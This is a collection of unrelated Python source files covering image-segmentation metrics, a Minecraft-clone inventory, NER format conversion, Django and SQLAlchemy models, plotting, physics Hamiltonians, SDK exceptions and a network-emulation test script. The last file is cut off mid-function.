import torch import numpy as np import matplotlib.pyplot as plt def convert_tensor_to_RGB(network_output): x = torch.FloatTensor([[.0, .0, .0], [1.0, .0, .0], [.0, .0, 1.0], [.0, 1.0, .0]]) converted_tensor = torch.nn.functional.embedding(network_output, x).permute(2,0,1) return converted_tensor def dice_scores(segmentation, ground_truth, classes): dice_scores = [] for i in range(1,classes+1): binary_gt = (ground_truth == i).astype(np.uint8) binary_seg = (segmentation == i).astype(np.uint8) intersect = np.logical_and(binary_gt, binary_seg) sum_binary_gt = np.sum(binary_gt) sum_binary_seg = np.sum(binary_seg) if sum_binary_gt == 0: continue class_dice_score = np.sum(intersect)*2 / (sum_binary_gt+sum_binary_seg) dice_scores.append(class_dice_score) dice_scores = np.array(dice_scores) return dice_scores def image_stats(img): data_type = type(img[0][0]) img_width = np.shape(img)[0] img_height = np.shape(img)[1] max_pix = np.max(img) min_pix = np.min(img) img_mean = np.mean(img) img_std = np.std(img) print(f'Type: {data_type}, Width: {img_width}, Height: {img_height}, Max: {max_pix}, Min: {min_pix}, Mean: {img_mean}, Std: {img_std}') def tensor_stats(tensor_in): tensor = tensor_in.clone() tensor = tensor.double() shape = tensor.shape tensor_max = torch.max(tensor) tensor_min = torch.min(tensor) tensor_mean = torch.mean(tensor) tensor_std = torch.std(tensor) print(f"Tensor stats: Shape: {shape} Max: {tensor_max}, Min: {tensor_min}, Mean: {tensor_mean}, Std: {tensor_std}") def get_mask_from_tensor(tensor, index, mask_index): tensor_cp = tensor.clone().cpu() tensor_masks = tensor_cp[index] tensor_mask = tensor_masks[mask_index] np_mask = tensor_mask.numpy() print("np mask in get mask") image_stats(np_mask) return np_mask def dice_loss(logits, target): input = torch.functional.F.softmax(logits, 1) smooth = 1. input = input[:,1,:,:] #print(input.shape) #print(target.shape) iflat = torch.reshape(input, (-1,)) tflat = target.view(-1) intersection = (iflat * tflat).sum() return 1 - ((2. * intersection + smooth) / (iflat.sum() + tflat.sum() + smooth)) def weighted_combined_loss(loss_fn1, loss_fn2, weight=0.5): def combined_loss(pred, Y): return weight*loss_fn1(pred,Y) + (1-weight)*loss_fn2(pred,Y) return combined_loss def mean_dice_score(pred_batch, Y_batch, classes): assert(pred_batch.size(0) == Y_batch.size(0)) cumulative_scores = np.zeros(classes) for b_idx in range(pred_batch.size(0)): mask = predb_to_mask(pred_batch, b_idx).numpy() gt_tensor = Y_batch[b_idx].clone() gt = gt_tensor.cpu().numpy() batch_dice_score = dice_scores(mask, gt, classes) cumulative_scores += batch_dice_score avg_dice_scores = cumulative_scores / pred_batch.size(0) avg_dice_score = np.average(avg_dice_scores) return avg_dice_score, avg_dice_scores def mean_pixel_accuracy(pred_batch, Y_batch): return (pred_batch.argmax(dim=1) == Y_batch.cuda()).float().mean() def batch_to_img(xb, idx): img = np.array(xb[idx,0:3]) return img.transpose((1,2,0)) def predb_to_mask(pred_batch, idx): p = torch.functional.F.softmax(pred_batch[idx], 0) return p.argmax(0).cpu()
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calendar_aoc.py
Panurus/aoc_2021
0
148163
import day1, day2, day3, day4, day5, day6 if __name__ == "__main__": day1.main() day2.main() day3.main() day4.main() day5.main() day6.main()
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mods/mcpython/player.py
uuk0/mcpython-a-minecraft-clone-in-python
2
154230
from moduls import * from oredictnames import * from Inventorys import * import Item import crafting as cb import config from Inventorys import * from Inventorys.Inventory import Slot, handler as invhandler, InventoryHandler import EventHandler import entity class player: def __init__(self, window): self.inventory = PlayerInventory(window, self) self.mode = 1 # 0:nichts, 1:hotbar, 2:survival_inventory, 3:creativ_inventory, 4: creativ_tab [self.creativ_tab_id], 5: crafting_table self.gamemode = config.CONFIGS[ "DEFAULT_GAMEMODE" ] # 0:surivival, 1:creativ, 2:hardcore, 3:spectator self.falling = False self.fallhigh = 0 self.harts = 20 self.hartholder = PlayerHartHandler(self) self.window = window self.creativ_tab_id = None self.block = None invhandler.show(0) self.dimension = 0 self.inventorys = [ self.inventory.hotbar, self.inventory.rows, self.inventory.armor, self.inventory.crafting, ] self.xp = 0 self.hunger = 8 self.model = entity.PlayerModel(self.window.position) self.model.player = self EventHandler.eventhandler.on_event("on_draw_3D", self.model.eventdraw) EventHandler.eventhandler.on_event("on_player_move", self.model.eventmove) def addToFreePlace(self, name, amount=1, start=0): if type(name) == list: for i, e in enumerate(name): self.addToFreePlace(e, amount[i], start) return True for i in self.inventorys: for e in i.slots: if e.id < start: pass elif e.item and e.item.getName() == name: if e.amount + amount - 1 < e.item.getMaxStackSize(): e.amount += amount return True elif e.amount < e.item.getMaxStackSize(): amount = amount - (e.item.getMaxStackSize() - e.amount) e.amount = e.item.getMaxStackSize() for i in self.inventorys: for e in i.slots: if e.id < start: pass elif not e.item: print("setting ", 1) e.setItem(name) if e.item.getMaxStackSize() < amount and False: e.amount = e.item.getMaxStackSize() amount -= e.item.getMaxStackSize() else: e.amount = amount return True print("[ERROR] no inventor place found") return False def setPlace(self, id, name): invhandler.sfromid[id].setItem(name) def getPlace(self, id): return invhandler.sfromid[id].item def getSlot(self, id): return invhandler.inventoryslotsinst[id] def update(self): if self.harts == 0 and self.gamemode != 3 and self.gamemode != 1: self.window.kill("player hearts go down") class PlayerInventory: def __init__(self, window, master): self.window = window self.master = master self.hotbar = player_hotbar.hotbar() self.rows = player_rows.rows() self.armor = player_armor.armor() self.crafting = player_crafting.crafting() self.moving_slot = None self.moving_start = None self.none_slot = Slot(0, 0) def draw(self): pass def resetMovingSlot(self): self.moving_slot.setPos(*self.moving_start) def on_mouse_press(self, eventname, x, y, button, modifiers): if button == mouse.LEFT: if not self.moving_slot: # self.moving_slot = self.none_slot self.moving_slot = self.getPress(x, y) if self.moving_slot: if invhandler.inventoryslotsinst[self.moving_slot.id].item: self.moving_start = ( invhandler.inventoryslotsinst[self.moving_slot.id].x, invhandler.inventoryslotsinst[self.moving_slot.id].y, ) self.moving_slot = invhandler.inventoryslotsinst[ self.moving_slot.id ] else: self.moving_slot = None else: self.moving_slot = None else: end = self.getPress(x, y) if end and end.mode == "o": return if end == None: (self.moving_slot.x, self.moving_slot.y) = self.moving_start self.moving_slot = None return itemA = self.moving_slot.item itemB = end.item amountA = self.moving_slot.amount amountB = end.amount if ( self.moving_slot == self.crafting.slots[4] or self.moving_slot.stid == "minecraft:slot:crafting_table:out" ): cb.craftinghandler.removeOutput_player(self.master) self.moving_slot.x, self.moving_slot.y = 531, 287 self.resetMovingSlot() if end.id in list(range(0, 9)): self.rows.slots[end.id].setItem(end.item) self.rows.slots[end.id].amount = end.amount if not itemB: end.setItem(itemA) end.amount = amountA self.resetMovingSlot() self.moving_slot.setItem(None) self.moving_slot = None cb.craftinghandler.updateOutput_player(self.master) return elif itemA and itemB and itemA.getName() == itemB.getName(): if amountA + amountB <= itemA.getMaxStackSize(): end.amount = amountA + amountB self.resetMovingSlot() self.moving_slot.item = None self.moving_slot = None cb.craftinghandler.updateOutput_player(self.master) return else: d = itemA.getMaxStackSize() - end.amount end.amount = itemA.getMaxStackSize() self.moving_slot.amount -= d cb.craftinghandler.updateOutput_player(self.master) return else: end.setItem(itemA) end.amount = amountA self.moving_slot.setItem(itemB) self.moving_slot.amount = amountB self.moving_slot = None cb.craftinghandler.updateOutput_player(self.master) return elif button == mouse.RIGHT: if self.moving_slot: slot = self.getPress(x, y) if slot and ( ( slot.item and slot.item.getName() == self.moving_slot.item.getName() ) or not slot.item ): if slot.amount + 1 <= self.moving_slot.item.getMaxStackSize(): slot.amount += 1 slot.setItem(self.moving_slot.item.getName()) self.moving_slot.amount -= 1 if self.moving_slot.amount == 0: self.moving_slot.x, self.moving_slot.y = self.moving_start self.moving_slot = None cb.craftinghandler.updateOutput_player(self.master) elif ( button == mouse.MIDDLE and not self.moving_slot and self.master.gamemode == 1 ): slot = self.getPress(x, y) if not slot.item: return self.moving_slot = self.none_slot self.moving_start = (0, 0) self.moving_slot.setItem(slot.item) self.moving_slot.amount = slot.item.getMaxStackSize() def on_mouse_motion(self, eventname, x, y, dx, dy): if self.moving_slot: self.moving_slot.x, self.moving_slot.y = x, y def on_mouse_release(self, x, y, button, modifiers): pass def getPress(self, x, y, debug=False): self.scor = [] for e in invhandler.shown: for e in invhandler.inventoryinst[e].slots: self.scor.append(e) slothigh, slotwight = 50, 40 for s in self.scor: if x >= s.x: if x <= s.x + slotwight: if y >= s.y: if y <= s.y + slothigh: if self.moving_slot == None or self.moving_slot.id != s.id: return s elif debug: print(5, s, s.id) elif debug: print(4, s, s.id) elif debug: print(3, s, s.id) elif debug: print(2, s, s.id) elif debug: print(1, s, s.id) return None def on_shift(self): pass playerinst = None import texturGroups class PlayerHartHandler: def __init__(self, player): self.player = player res = texturGroups.handler.groups["./assets/textures/gui/icons/harts_no.png"] self.sprites = [ pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), pyglet.sprite.Sprite(res), ] # pyglet.sprite.Sprite(texturGroups.handler.groups[imagefile]) for i, e in enumerate(self.sprites): x = i * 20 + 190 y = 80 e.position = (x, y) def draw(self): if self.player.gamemode == 1 or self.player.gamemode == 3: return harts = self.player.harts for i, e in enumerate(self.sprites): if 2 * (i + 1) > harts: e.image = texturGroups.handler.groups[ "./assets/textures/gui/icons/harts_no.png" ] elif i * 2 < harts or (harts % 2 == 0 and i * 2 == harts): e.image = texturGroups.handler.groups[ "./assets/textures/gui/icons/hart_full.png" ] else: e.image = texturGroups.handler.groups[ "./assets/textures/gui/icons/hart_half.png" ] e.draw()
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converters/brat2iob.py
Banguiskode/nerds
15
8295
import argparse import operator import os import re import shutil import spacy import tempfile from nerds.utils import spans_to_tokens, get_logger def segment_text_to_sentences(text_file, sentence_splitter): """ Segment text into sentences. Text is provided by BRAT in .txt file. Args: text_file (str): the full path to the BRAT .txt file. sentence_splitter (spacy LM): SpaCy EN language model. Returns: sentences (list((int, int, str))): list of sentence spans. Spans are triples of (start_offset, end_offset, text), where offset is relative to the text. """ sentences = [] ftext = open(text_file, "r") for line in ftext: splits = sentence_splitter(line.strip()) for sent in splits.sents: sentences.append((sent.start_char, sent.end_char, sent.text)) ftext.close() return sentences def parse_text_annotations(ann_file): """ Parses BRAT annotations provided in the .ann file and converts them to annotation spans of (start_position, end_position, entity_class). Args: ann_file (str): full path to the BRAT .ann file. Returns: annotations (list((int, int, str))): list of annotation spans. Spans are triples of (start_offset, end_offset, entity_class) where offset is relative to the text. """ annots = [] fann = open(ann_file, "r") for line in fann: cols = re.split(r"\s+", line.strip()) if not cols[0].startswith("T"): continue annots.append((int(cols[2]), int(cols[3]), cols[1])) fann.close() return annots def apply_annotations(sentences, annotations, tokenizer): """ Apply annotation spans to the sentence spans to create a list of tokens and tags. Args: sentences (list((int, int, str))): list of sentence spans. annotations (list((int, int, str))): list of annotation spans. tokenizer (spacy LM): SpaCy EN language model. Returns: tokens_tags_list (list((list(str), list(str)))): list of list of token tag pairs. Each list of token-tag pairs corresponds to a single sentence. """ tokens_tags_list = [] for sent_start, sent_end, sent_text in sentences: sent_annots = [a for a in annotations if a[0] >= sent_start and a[1] <= sent_end] # convert document offsets to sentence offsets sent_annots = [(s[0] - sent_start, s[1] - sent_start, s[2]) for s in sent_annots] tokens, tags = spans_to_tokens(sent_text, sent_annots, tokenizer) tokens_tags_list.append(zip(tokens, tags)) return tokens_tags_list def convert_brat_to_iob(input_dir, output_file, nlp): """ Convenience Convertor function. Args: input_dir (str): the directory where the BRAT .txt and .ann files are located. output_file (str): the full path name of file to write output in IOB format to. nlp (SpaCy LM): reference to the SpaCy EN model. Returns: None. """ fout = open(output_file, "w") for text_file in os.listdir(input_dir): # only process .txt and .ann pairs in specified directory if not text_file.endswith(".txt"): continue annot_file = text_file[:-4] + ".ann" if not os.path.exists(os.path.join(input_dir, annot_file)): # do not process file if no corresponding .ann file continue # process file pair logger.info("Processing file: {:s}".format(text_file)) sentences = segment_text_to_sentences(os.path.join(input_dir, text_file), nlp) annotations = parse_text_annotations(os.path.join(input_dir, annot_file)) tokens_tags_list = apply_annotations(sentences, annotations, nlp) for tokens_tags in tokens_tags_list: for token, tag in tokens_tags: fout.write("{:s}\t{:s}\n".format(token, tag)) fout.write("\n") fout.close() def do_self_test(nlp): """ Simple self-test with small dataset to prove that this works okay. """ text = "<NAME>, 61 years old, will join the board as a nonexecutive director, Nov. 29. Mr. Vinken is chairman of Elsevier N.V., the Dutch publishing group." annotations = [ "T1 PER 0 13 <NAME>", "T2 PER 86 96 Mr. Vinken", "T3 DATE 15 27 61 years old", "T4 DATE 77 84 Nov. 29", "T5 ORG 112 125 Elsevier N.V.", "T6 NORP 131 136 Dutch" ] input_dir = tempfile.mkdtemp(dir="/tmp") ftext = open(os.path.join(input_dir, "test.txt"), "w") ftext.write(text) ftext.close() fann = open(os.path.join(input_dir, "test.ann"), "w") for line in annotations: fann.write(line + "\n") fann.close() output_file = os.path.join(input_dir, "test.iob") convert_brat_to_iob(input_dir, output_file, nlp) fout = open(output_file, "r") for line in fout: logger.warn(line.strip()) shutil.rmtree(input_dir) ################################ main ################################ # # usage: brat2iob.py [-h] [-i INPUT_DIR] [-o OUTPUT_FILE] [-t] # Script to convert BRAT annotations to IOB (NERDS) format. # optional arguments: # -h, --help show this help message and exit # -i INPUT_DIR, --input_dir INPUT_DIR # Directory to store BRAT .txt and .ann files. # -o OUTPUT_FILE, --output_file OUTPUT_FILE # Output file to write IOB output to. # -t, --test Runs self test. ###################################################################### parser = argparse.ArgumentParser( description="Script to convert BRAT annotations to IOB (NERDS) format.") parser.add_argument("-i", "--input_dir", help="Directory to store BRAT .txt and .ann files.") parser.add_argument("-o", "--output_file", help="Output file to write IOB output to.") parser.add_argument("-t", "--test", help="Runs self test.", action="store_true") args = parser.parse_args() logger = get_logger() input_dir = args.input_dir output_file = args.output_file self_test = args.test nlp = spacy.load("en") if self_test: logger.info("Executing self test...") do_self_test(nlp) else: logger.info("Reading BRAT .txt and .ann files from: {:s}".format(input_dir)) logger.info("Writing IOB tokens/tags to file: {:s}".format(output_file)) convert_brat_to_iob(input_dir, output_file, nlp)
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config/urls.py
bineetgh/examday
0
172341
from django.conf import settings from django.contrib import admin from django.urls import path, include from django.views.generic.base import TemplateView from django.conf.urls import include, url urlpatterns = [ path('admin/', admin.site.urls), path('accounts/', include('allauth.urls')), path('accounts/profile/', TemplateView.as_view(template_name='account/profile.html')), path('', include('pages.urls')), path('exam/', include('exam.urls')), ] if settings.DEBUG: import debug_toolbar urlpatterns = [ path('__debug__/', include(debug_toolbar.urls)), ] + urlpatterns
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website/userData.py
marvkey/onlineDatabsase
0
108334
from sqlalchemy.sql.expression import false from . import db from flask_login import UserMixin from sqlalchemy.sql import func class User(db.Model,UserMixin): id = db.Column(db.Integer, primary_key=True) email =db.Column(db.String(150),unique=True) firstname = db.Column(db.String(150)) lastname = db.Column(db.String(150)) username = db.Column(db.String(150)) password = db.Column(db.String(150)) date_created = db.Column(db.DateTime(timezone=True), default=func.now()) file =db.relationship("SavedItem",backref="user",passive_deletes=True) class SavedItem(db.Model): id = db.Column(db.Integer,primary_key=True) file = db.Column(db.LargeBinary) name = db.Column(db.String(150),nullable=False) Description = db.Column(db.String(1000)) date_created = db.Column(db.DateTime(timezone=True),default=func.now()) author = db.Column(db.Integer, db.ForeignKey('user.id', ondelete="CASCADE"), nullable=False)
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cpo_pipeline/typing/__init__.py
DiDigsDNA/cpo-pipeline
0
31889
""" typing module """ from . import pipeline from . import parsers
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utils/vis.py
tanyinghui/Minimal-Hand-pytorch
158
196716
<filename>utils/vis.py import matplotlib.pyplot as plt def plot3d(joints_,ax, title=None): joints = joints_.copy() ax.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo', label='keypoint') ax.plot(joints[:5, 0], joints[:5, 1], joints[:5, 2], 'r', label='thumb') ax.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1], joints[[0, 5, 6, 7, 8, ], 2], 'b', label='index') ax.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1], joints[[0, 9, 10, 11, 12], 2], 'b', label='middle') ax.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1], joints[[0, 13, 14, 15, 16], 2], 'b', label='ring') ax.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1], joints[[0, 17, 18, 19, 20], 2], 'b', label='pinky') # snap convention ax.plot(joints[4][0], joints[4][1], joints[4][2], 'rD', label='thumb') ax.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', label='index') ax.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', label='middle') ax.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', label='ring') ax.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', label='pinky') # plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o') ax.set_xlabel('x') ax.set_ylabel('y') ax.set_zlabel('z') ax.set_xlim(xmin=-1.0,xmax=1.0) ax.set_ylim(ymin=-1.0,ymax=1.0) ax.set_zlim(zmin=-1.0,zmax=1.0) # plt.legend() # ax.view_init(330, 110) ax.view_init(-90, -90) return ax def multi_plot3d(jointss_, title=None): jointss = jointss_.copy() fig = plt.figure(figsize=[50, 50]) ax = fig.add_subplot(111, projection='3d') colors = ['b', 'r', "g"] for i in range(len(jointss)): joints = jointss[i] plt.plot(joints[:, 0], joints[:, 1], joints[:, 2], 'yo') plt.plot(joints[:5, 0], joints[:5, 1], joints[:5, 2], colors[i], ) plt.plot(joints[[0, 5, 6, 7, 8, ], 0], joints[[0, 5, 6, 7, 8, ], 1], joints[[0, 5, 6, 7, 8, ], 2], colors[i], ) plt.plot(joints[[0, 9, 10, 11, 12, ], 0], joints[[0, 9, 10, 11, 12], 1], joints[[0, 9, 10, 11, 12], 2], colors[i], ) plt.plot(joints[[0, 13, 14, 15, 16], 0], joints[[0, 13, 14, 15, 16], 1], joints[[0, 13, 14, 15, 16], 2], colors[i], ) plt.plot(joints[[0, 17, 18, 19, 20], 0], joints[[0, 17, 18, 19, 20], 1], joints[[0, 17, 18, 19, 20], 2], colors[i], ) ####### # plt.plot(joints[:1, 0], joints[:1, 1], # joints[:1, 2], # colors[i], # ) # # plt.plot(joints[[0, 5, ], 0], joints[[0, 5, ], 1], # joints[[0, 5, ], 2], # colors[i], # ) # plt.plot(joints[[0, 9, ], 0], joints[[0, 9, ], 1], # joints[[0, 9,], 2], # colors[i], # ) # plt.plot(joints[[0, 13, ], 0], joints[[0, 13, ], 1], # joints[[0, 13, ], 2], # colors[i], # ) # plt.plot(joints[[0, 17, ], 0], joints[[0, 17, ], 1], # joints[[0, 17, ], 2], # colors[i], # ) # snap convention plt.plot(joints[4][0], joints[4][1], joints[4][2], 'rD') plt.plot(joints[8][0], joints[8][1], joints[8][2], 'ro', ) plt.plot(joints[12][0], joints[12][1], joints[12][2], 'ro', ) plt.plot(joints[16][0], joints[16][1], joints[16][2], 'ro', ) plt.plot(joints[20][0], joints[20][1], joints[20][2], 'ro', ) # plt.plot(joints [1:, 0], joints [1:, 1], joints [1:, 2], 'o') plt.title(title) ax.set_xlabel('x') ax.set_ylabel('y') ax.set_zlabel('z') plt.legend() # ax.view_init(330, 110) ax.view_init(-90, -90) if title: title_ = "" for i in range(len(title)): title_ += "{}: {} ".format(colors[i], title[i]) ax.set_title(title_, fontsize=12, color='black') else: ax.set_title("None", fontsize=12, color='black') plt.show()
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src/datamodel/ecb_plus/document.py
vedmathai/timeline
0
171289
<filename>src/datamodel/ecb_plus/document.py import xml.etree.ElementTree as ET import typing from typing import Dict, List from timeline.src.datamodel.ecb_plus.text import Token from timeline.src.datamodel.ecb_plus.text import Sentence from timeline.src.datamodel.ecb_plus.markable import Markable if typing.TYPE_CHECKING: from timeline.src.datamodel.ecb_plus.context import Context class Document(): def __init__(self, xml_file: str = '') -> None: self._id = id self._xml_file = xml_file self._sentences: Dict[str, Sentence] = {} self._markables: Dict[str, Markable] = {} def id(self) -> str: return self._xml_file def sentences(self) -> Dict[str, Sentence]: return self._sentences def markables(self) -> Dict[str, Markable]: return self._markables def sentence_by_id(self, id: str) -> Sentence: return self._sentences[id] def markable_by_id(self, id: str) -> Markable: return self._markables[id] def set_sentences(self, sentences: List[Sentence]) -> None: self._sentences = {sentence.id(): sentence for sentence in sentences} def set_markables(self, markables: List[Markable]) -> None: self._markables = {markable.id(): markable for markable in markables} def text(self) -> str: sentences: List[str] = [] for sentence in self._sentences.values(): sentences += [sentence.text()] return ' '.join(sentences) @staticmethod def from_xml(xml_file: str, context: 'Context'): tree = ET.parse(xml_file) root = tree.getroot() file_name = root.attrib['doc_name'] document = Document(xml_file=file_name) for el in root.findall('token'): Token.from_xml(el=el, context=context, document=document) sentences = context.get_sentences_by_document(document=document) document.set_sentences(sentences=sentences) markables = root.find('Markables') for el in markables.getchildren(): markable = Markable.from_xml(el=el, context=context, document=document) document.set_markables(context.get_markables_by_document(document=document)) relations = root.find('Relations') for el in relations.getchildren(): sources: List[str] = [] if 'note' not in el.attrib: continue entity = context.get_entity_by_id(el.attrib['note']) for el2 in el.getchildren(): if el2.tag == 'source': id = el2.attrib['m_id'] markable = document.markable_by_id(id) entity.add_markable(markable) markable.set_entity(entity=entity) return document if __name__ == '__main__': from timeline.src.datamodel.ecb_plus.context import Context doc = Document.from_xml('/Users/vedmathai/Documents/python/temporal/data/ECB+_LREC2014/ECB+/1/1_2ecbplus.xml', Context()) print([sentence.text() for sentence in doc.sentences().values()])
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ymidi/containers.py
Owen-Cochell/yapmidi
0
47180
<filename>ymidi/containers.py """ Components that house MIDI events and other misc. data, """ from dataclasses import dataclass class TrackInfo(dataclass): """ An object that contains info about a specific track. The data in this object is used for keeping track of track statistics. We allow for these attributes to be manually defined, and we also allow for auto-track traversal to fill in this info. """ pass class TrackPattern(list): """ A collection of tracks. We contain a list of tracks that contain MIDI events. We keep track(haha) of statistics and data related to the MIDI data we contain. We do this by handling Meta events and yap-events. We also support playback of the MIDI data. This includes ALL MIDI track types, and supports tracks that are playing at diffrent speeds. """ pass class Track(list): """ A track of MIDI events. We offer some useful helper methods that make altering and adding MIDI events a relatively painless affair. We inherit the default python list, so we support all list operations. """ def __init__(self, *args): super().__init__(*args) self.name = '' # Name of the track
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netket/custom/ab_initio_ham.py
yannra/netket
0
45568
<filename>netket/custom/ab_initio_ham.py import netket as nk from netket.custom.fermionic_hilbert import Fermions from netket.custom.fermion_operator import SparseHermitianFermionOperator, FermionSumOperators, FermionTotalSpinNumberOperator import numpy as np class AbInitio(FermionSumOperators): def __init__(self, hi, one_body_mat, two_body_mat): n_orbitals = hi.size # 1B part t = one_body_mat - 0.5 * np.einsum("pqqs->ps", two_body_mat) prefactors = [] sites = [] spins = [] for i in range(n_orbitals): for j in range(n_orbitals): prefactors.append(t[i,j]) prefactors.append(t[i,j]) sites.append([[j, i]]) sites.append([[j, i]]) spins.append([0]) spins.append([1]) one_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8)) # 2B part prefactors = [] sites = [] spins = [] for i in range(n_orbitals): for j in range(n_orbitals): for k in range(n_orbitals): for l in range(n_orbitals): prefactors.append(0.5*two_body_mat[i,j,k,l]) prefactors.append(0.5*two_body_mat[i,j,k,l]) prefactors.append(two_body_mat[i,j,k,l]) sites.append([[j, i],[l,k]]) sites.append([[j, i],[l,k]]) sites.append([[j, i],[l,k]]) spins.append([0,0]) spins.append([1,1]) spins.append([0,1]) two_body = SparseHermitianFermionOperator(hi, np.array(prefactors).astype(np.complex128), np.array(sites).astype(int), np.array(spins).astype(np.uint8)) super().__init__([one_body, two_body])
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clx/xms/exceptions.py
linhuiwzqu/clxcommunications
3
184326
<filename>clx/xms/exceptions.py # -*- coding: utf-8 -*- """Collection of exceptions raised by the XMS SDK. The exceptions raised by the API all inherit from the base class :class:`ApiException`. """ from __future__ import absolute_import, division, print_function class ApiException(Exception): """Base class for exceptions thrown within the XMS SDK""" class UnexpectedResponseException(ApiException): """Raised when XMS gave an unexpected response :param message: useful message explaining the problem :type message: str :param http_body: the unexpected HTTP body :type http_body: str .. attribute:: http_body The unexpected HTTP body. :type: str """ def __init__(self, message, http_body): ApiException.__init__(self, message) self.http_body = http_body class ErrorResponseException(ApiException): """Exception used when XMS responded with an error message. :param message: the human readable error message :type message: str :param code: the machine readable error code :type code: str .. attribute:: error_code The machine readable error code. :type: str """ def __init__(self, message, code): ApiException.__init__(self, message) self.error_code = code class NotFoundException(ApiException): """Exception indicating that a requested resources did not exist in XMS. This exception is thrown, for example, when attempting to retrieve a batch with an invalid batch identifier. :param url: URL to the missing resource. :type url: str .. attribute:: url The failing URL. :type: str """ def __init__(self, url): ApiException.__init__(self, 'No resource found at "%s"' % url) self.url = url class UnauthorizedException(ApiException): """Exception indicating that XMS did not accept the service plan ID and authentication token. :param service_plan_id: the service plan identifier :type service_plan_id: str :param token: the authentication token :type token: str .. attribute:: service_plan_id The service plan identifier that did not pass authentication. :type: str .. attribute:: token The authentication token that was not accepted. :type: str """ def __init__(self, service_plan_id, token): fmt = 'Authentication failed with service plan "%s"' ApiException.__init__(self, fmt % service_plan_id) self.service_plan_id = service_plan_id self.token = token
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results/scripts/netem_rrtcp.py
andres-erbsen/rrtcp
1
185211
#!/usr/bin/python import time import subprocess from config import delayIntervals, lossIntervals, tcpTestLocation, udpTestLocation, rrtcpTestLocation def runTests(): for delay in delayIntervals: for loss in lossIntervals: runTest(tcpTestLocation, delay, loss, 'tcp') #runTest(udpTestLocation, delay, loss, 'udp') runTest(rrtcpTestLocation, delay, loss, 'rrtcp') def runTest(testLocation, delay, loss, name): timeToRun = 10 # seconds outputName = name + '_' + str(delay) + '_' + str(loss) subprocess.call("tc qdisc change dev veth-1 root netem delay " + str(delay) + "ms loss " + str(loss) + "%", shell=True) time.sleep(.1) print "Opening tcpdump" subprocess.Popen("sudo tcpdump -i veth-1 -tt -l -n | tee " + outputName + ".dialer.tcpdump.out", shell=True) time.sleep(.1) subprocess.Popen("sudo ip netns exec other tcpdump -i veth-2 -tt -l -n | tee " + outputName + ".listener.tcpdump.out", shell=True) print "Starting application" time.sleep(.1) subprocess.call( testLocation + ' -l -d ' + str(timeToRun) + 's -address 10.1.1.1:2000 > ' + outputName + '.listener.out' + ' 2>'+outputName+'.listener.err &', shell=True) subprocess.call( testLocation + ' -d ' + str(timeToRun) + 's -address 10.1.1.1 > ' + outputName + '.dialer.out' + ' 2>'+outputName+'.dialer.err &', shell=True) time.sleep(timeToRun + .1) print outputName if __name__ == '__main__': runTests()
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usaspending_api/search/tests/test_spending_over_time.py
COEJKnight/five
0
165900
<gh_stars>0 import json import pytest from rest_framework import status from usaspending_api.search.tests.test_mock_data_search import all_filters @pytest.mark.skip @pytest.mark.django_db def test_spending_over_time_success(client): # test for needed filters resp = client.post( '/api/v2/search/spending_over_time', content_type='application/json', data=json.dumps({ "group": "fiscal_year", "filters": { "keyword": "test" } })) assert resp.status_code == status.HTTP_200_OK # test all filters resp = client.post( '/api/v2/search/spending_over_time', content_type='application/json', data=json.dumps({ "group": "quarter", "filters": all_filters() })) assert resp.status_code == status.HTTP_200_OK @pytest.mark.skip @pytest.mark.django_db def test_spending_over_time_failure(client): """Verify error on bad autocomplete request for budget function.""" resp = client.post( '/api/v2/search/spending_over_time/', content_type='application/json', data=json.dumps({'group': 'fiscal_year'})) assert resp.status_code == status.HTTP_400_BAD_REQUEST @pytest.mark.django_db def test_spending_over_time_subawards_success(client): resp = client.post( '/api/v2/search/spending_over_time', content_type='application/json', data=json.dumps({ "group": "quarter", "filters": all_filters(), "subawards": True })) assert resp.status_code == status.HTTP_200_OK @pytest.mark.django_db def test_spending_over_time_subawards_failure(client): """Verify error on bad autocomplete request for budget function.""" resp = client.post( '/api/v2/search/spending_over_time', content_type='application/json', data=json.dumps({ "group": "quarter", "filters": all_filters(), "subawards": "string" })) assert resp.status_code == status.HTTP_400_BAD_REQUEST
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webquills/sites/models.py
webquills/webquills
0
68700
<filename>webquills/sites/models.py from django.conf import settings from django.core.exceptions import ImproperlyConfigured from django.db import models from django.db.models import Case, IntegerField, Q, When from django.http.request import split_domain_port from django.utils.translation import gettext_lazy as _ from webquills.core.models import Author SITE_CACHE = {} MATCH_HOSTNAME = 0 MATCH_DOMAIN = 1 MATCH_DEFAULT = 2 class SiteManager(models.Manager): def get_queryset(self): return super().get_queryset().select_related("author") def _get_for_request(self, request): host = split_domain_port(request.get_host())[0] if host in SITE_CACHE: return SITE_CACHE[host] # Special case: if subdomain not found, select site with same root domain. # Handy for local dev with "localhost.domain.tld" but in prod you should # redirect to the main domain. parts = host.split(".") domain = ".".join(parts[-2:]) if domain in SITE_CACHE: return SITE_CACHE[domain] sites = list( Site.objects.annotate( match=Case( # annotate the results by best choice descending # put exact hostname match first When(domain=host, then=MATCH_HOSTNAME), # then put root domain match When(domain=domain, then=MATCH_DOMAIN), # then match default with different hostname. there is only ever # one default, so order it above (possibly multiple) hostname # matches so we can use sites[0] below to access it When(id=settings.SITE_ID, then=MATCH_DEFAULT), # because of the filter below, if it's not default then its a hostname match default=MATCH_DEFAULT, output_field=IntegerField(), ) ) .filter(Q(domain__in=[host, domain]) | Q(id=settings.SITE_ID)) .order_by("match") ) if not sites: raise self.model.DoesNotExist() for site in sites: # Might have returned as many as 3, may as well cache them all SITE_CACHE[site.domain] = site return sites[0] def get_current(self, request=None): "Implemented for compatibility with Django sites." if request: return self._get_for_request(request) elif getattr(settings, "SITE_ID", ""): return 